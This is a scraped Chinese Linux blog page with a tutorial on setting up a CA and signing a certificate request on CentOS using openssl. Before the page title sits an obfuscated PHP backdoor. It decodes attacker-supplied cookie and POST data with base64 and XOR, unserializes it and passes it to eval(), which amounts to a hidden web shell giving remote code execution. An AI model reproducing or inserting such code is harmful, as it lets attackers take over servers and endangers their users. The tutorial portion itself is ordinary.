$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 实现CA和证书申请， | Linux运维部落

实现CA和证书申请，

island • • Linux干货

接下来讲的是在centos7.3和centos6.8中实现CA和证书申请，centos7.3作为主机，centos6.8作为客户端

首先你授权客户端CA证书，必须本身主机也具有CA，自己证明自己，先CA自签证书，然后在7.3创建私钥

实现CA和证书申请，

为了方便以后的操作CD进入 cd /etc/pki/CA

实现CA和证书申请，

  生成自签名证书

实现CA和证书申请，

-new:  生成新证书签署请求
-x509:  专用于CA 生成自签证书
-key:  生成请求时用到的私钥文件
-days n ：证书的有效期限

-out / PATH/TO/SOMECERTFILE : 证书的保存路径

实现CA和证书申请，

第一项是填写国家，填写简写，中国，即CN

第二项是州即我们的省，比如我在北京所以BeiJing

第三项是城市，beijing   这个要求就不如前两项那么严谨了

第四项是公司名称是和前两项最为重要的，因为接下来在客户端的操作也会用到之前填写的信息

第五项是授权CA对象的名称 （因为这里是自己给自己签证书所以填写本机名就好）

第六项是电子邮箱

作为这些操作，主机的自签证书就完成了，之后可以根据一下命令查看证书的信息

openssl x509 -in cacert.pem -noout -text

实现CA和证书申请，

之后就是在centos6.8操作了

实现CA和证书申请，

在客户端的操作前面都是一样的

私钥文件就放到private文件夹

实现CA和证书申请，

生成申请文件

实现CA和证书申请，

第1，2，4，这是必须和主机一致，第六项是自己以后的域名，就是申请哪个网站名，要是和域名不同的话，这个证书就废了。

这边后面比主机多了设置密码的项，我这里是演示，所以就直接不设置了

之后把申请文件发送到主机

实现CA和证书申请，

实现CA和证书申请，

之后把test.csr移动到/etc/pki/CA/下面，进行审核。

接下来就是 CA 签署证书，并将证书颁发给请求者

实现CA和证书申请，

第一次 签署证书的时候出现错误因为少了一个文件，之后补上文件touch index.txt

之后又试了一次，还是错误的，因为我们还缺少一个serial文件，补上文件之后就把证书签署好了。

然后在把证书发回客户端申请人


实现CA和证书申请，

这样我们就完成了CA 证书的申请！请多多练习！



原创文章，作者：island，如若转载，请注明出处：http://www.178linux.com/73172

赞 (0)
islandisland
0
上一篇 2017-04-11 16:30
下一篇 2017-04-11 17:22

相关推荐

  • LAMP

    1、请描述一次完整的http请求处理过程； 一次完整的http请求处理过程： (1) 建立或处理连接：接收请求或拒绝请求； (2) 接收请求：接收来自于网络上的主机请求报文中对某特定资源的一次请求的过程； (3) 处理请求：对请求报文进行解析，获取客户端请求的资源及请求方法等相关信息； (4) 访问资源：获取请求报文中请求的资源； (5) 构建响应报文： (…

    Linux干货 2016-12-14
  • Linux第二周总结 Linux干货

    Linux第二周总结

    1、Linux上的文件管理命令都有哪些，其常用的使用方法及其相关示例演示。 Cp、mv、rm cp命令: copy 单源复制：cp [OPTION]… [-T] SOURCE DEST 如果DEST不存在：则事先创建此文件，并复制源文件的数据流至DEST中； 如果DEST存在： 如果DESST是非目录文件；则覆盖目标文件； 如果DEST是目录文件…

    2017-07-09

  • 如何在linux系统上获取命令的帮助信息，man文档的章节划分

    内置命令获取帮助文档的方式： 　　判断一个命令是否是Linux内置的，可以用type命令，只有Linux的内置命令才能使用 help 命令获得帮助。 type cd 输出：cd is a shell builtin 说明这个命令是系统自带的内置命令，那么就可以使用 help命令来获取帮助。 help 命令名 外部命令获取帮助文档的方式： 第一种办法是使用 &…

    Linux干货 2016-10-31

  • 第一周作业

    一、计算机的组成及功能(参照书籍：《计算机的组成原理》)  按照冯•诺伊曼结构，计算机的硬件由运算器、控制器、存储器、输入设备和输出设备五部分组成。  CPU   :由运算器与控制器组成。主要功能就是控制各部件协调工作。         运…

    Linux干货 2017-02-06

  • n28 第二周作业

    n28 第二周作业

    Linux干货 2017-12-09

  • 磁盘管理进阶

    1、/etc/fstab文件     设备名 挂载点 文件系统 挂载选项 转储频率 自检次序     UUID=e79e4c9d-8d0f-4675-8945-9ec23ea77c67 /             &nb…

    Linux干货 2016-09-02
电话咨询
在线咨询